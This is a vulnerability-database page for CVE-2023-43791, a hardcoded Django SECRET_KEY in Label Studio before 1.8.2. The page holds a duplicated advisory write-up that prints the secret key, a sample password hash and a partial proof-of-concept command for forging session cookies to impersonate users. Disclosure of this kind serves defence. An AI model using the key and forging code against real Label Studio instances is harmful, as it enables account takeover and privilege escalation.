CVE-2023-43791
Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
- Record
CVE-2023-43791- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2023-0107
9.8
Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
- Record
EUVD-2023-0107- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-f475-x83m-rx5m
9.8
Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
Overview
In Label Studio version 1.8.1, a hard coded Django SECRET_KEY was set in the application settings. The Django SECRET_KEY is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.
However, the Django framework inserts a _auth_user_hash claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0) and forge session tokens for all users on Label Studio using the hard coded SECRET_KEY.
Description
Below is the code snippet of the Django settings file at label_studio/core/settings/base.py.
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n'
This secret is hard coded across all instances of Label Studio.
Proof of Concept
Below are the steps that an attacker could do to forge a session token of any account on Label Studio:
-
Exploit the ORM Leak vulnerability (patched in
1.9.2post0) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email[email protected]with the password hashpbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=that was retrieved. -
Create a new Django project with an empty application. In
cookieforge/cookieforge/settings.pyset theSECRET_KEYto$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n. Create a management command with the following code that will be used to create forged session tokens.
from typing import Any
from django.core.management.base import BaseCommand, CommandParser
from django.core import signing
from django.utils.crypto import salted_hmac
from django.conf import settings
import time, uuid
class Command(BaseCommand):
help = "Forge a users session cookie on Label Studio"
def add_arguments(self, parser: CommandParser) -> None:
parser.add_argument(
'-o', '--organisation',
help='Organisation ID to access',
default=1,
type=int
)
parser.add_argument(
'user_id',
help='The User ID of the victim you want to impersonate',
type=str
)
parser.add_argument(
'user_hash',
help='The password hash the user you want to impersonate'
)
def handle(self, *args: Any, **options: Any) -> str | None:
key = settings.SECRET_KEY
# Creates the _auth_user_hash HMAC of the victim's password hash
auth_user_hash = salted_hmac(
'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash',
options['user_hash'],
secret=key,
algorithm="sha256"
).hexdigest()
session_dict = {
'uid': str(uuid.uuid4()),
'organization_pk': options['organisation'],
'next_page': '/projects/',
'last_login':…
- Record
GHSA-f475-x83m-rx5m- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-200
- Updated
- 2026-11-02
NVD
9.8
Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
- Record
CVE-2023-43791- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-200
- Updated
- 2026-11-02
OSV
9.8
Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
- Record
CVE-2023-43791- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVGHSA-f475-x83m-rx5m
9.8
Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
Overview
In Label Studio version 1.8.1, a hard coded Django SECRET_KEY was set in the application settings. The Django SECRET_KEY is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.
However, the Django framework inserts a _auth_user_hash claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0) and forge session tokens for all users on Label Studio using the hard coded SECRET_KEY.
Description
Below is the code snippet of the Django settings file at label_studio/core/settings/base.py.
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n'
This secret is hard coded across all instances of Label Studio.
Proof of Concept
Below are the steps that an attacker could do to forge a session token of any account on Label Studio:
-
Exploit the ORM Leak vulnerability (patched in
1.9.2post0) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email[email protected]with the password hashpbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=that was retrieved. -
Create a new Django project with an empty application. In
cookieforge/cookieforge/settings.pyset theSECRET_KEYto$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n. Create a management command with the following code that will be used to create forged session tokens.
from typing import Any
from django.core.management.base import BaseCommand, CommandParser
from django.core import signing
from django.utils.crypto import salted_hmac
from django.conf import settings
import time, uuid
class Command(BaseCommand):
help = "Forge a users session cookie on Label Studio"
def add_arguments(self, parser: CommandParser) -> None:
parser.add_argument(
'-o', '--organisation',
help='Organisation ID to access',
default=1,
type=int
)
parser.add_argument(
'user_id',
help='The User ID of the victim you want to impersonate',
type=str
)
parser.add_argument(
'user_hash',
help='The password hash the user you want to impersonate'
)
def handle(self, *args: Any, **options: Any) -> str | None:
key = settings.SECRET_KEY
# Creates the _auth_user_hash HMAC of the victim's password hash
auth_user_hash = salted_hmac(
'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash',
options['user_hash'],
secret=key,
algorithm="sha256"
).hexdigest()
session_dict = {
'uid': str(uuid.uuid4()),
'organization_pk': options['organisation'],
'next_page': '/projects/',
'last_login':…
- Record
GHSA-f475-x83m-rx5m- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVPYSEC-2023-274
8.8
Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
- Record
PYSEC-2023-274- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
label-studioPyPI |
before 1.8.2 | 1.8.2 |
label-studioPyPI |
before 1.8.2, plus listed versions 0.4.10.4.20.4.30.4.40.4.4.post1 Show 45 moreShow less0.4.4.post20.4.50.4.60.4.6.post10.4.6.post20.4.70.4.80.5.00.5.10.6.00.6.10.7.00.7.10.7.20.7.30.7.40.7.4.post00.7.4.post10.7.5.post10.7.5.post20.8.00.8.0.post00.8.10.8.1.post00.8.20.8.2.post00.9.00.9.0.post20.9.0.post30.9.0.post40.9.0.post50.9.10.9.1.post00.9.1.post10.9.1.post21.0.01.0.0.post01.0.0.post11.0.0.post21.0.0.post31.0.11.0.21.0.2.post01.1.01.1.0rc0 |
1.8.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-43791 is a critical vulnerability (CVSS 9.8) in Humansignal Label Studio, published November 9, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.24%, the 69th percentile. Fixed in label-studio 1.8.2.
References
github.com/HumanSignal/label-studio/security/advisories/GHSA-f475-x83m-rx5m
github.com/HumanSignal/label-studio/pull/4690
github.com/HumanSignal/label-studio/commit/3d06c5131c15600621e08b06f07d976887cde81b
github.com/HumanSignal/label-studio/releases/tag/1.8.2
nvd.nist.gov/vuln/detail/CVE-2023-43791
github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2023-274.yaml
github.com/advisories/GHSA-f475-x83m-rx5m
github.com/CVEProject/cvelistV5/tree/main/cves/2023/43xxx/CVE-2023-43791.json
github.com/HumanSignal/label-studio
Left out here: 18 versions and the rest of 2 source descriptions. The JSON record has them.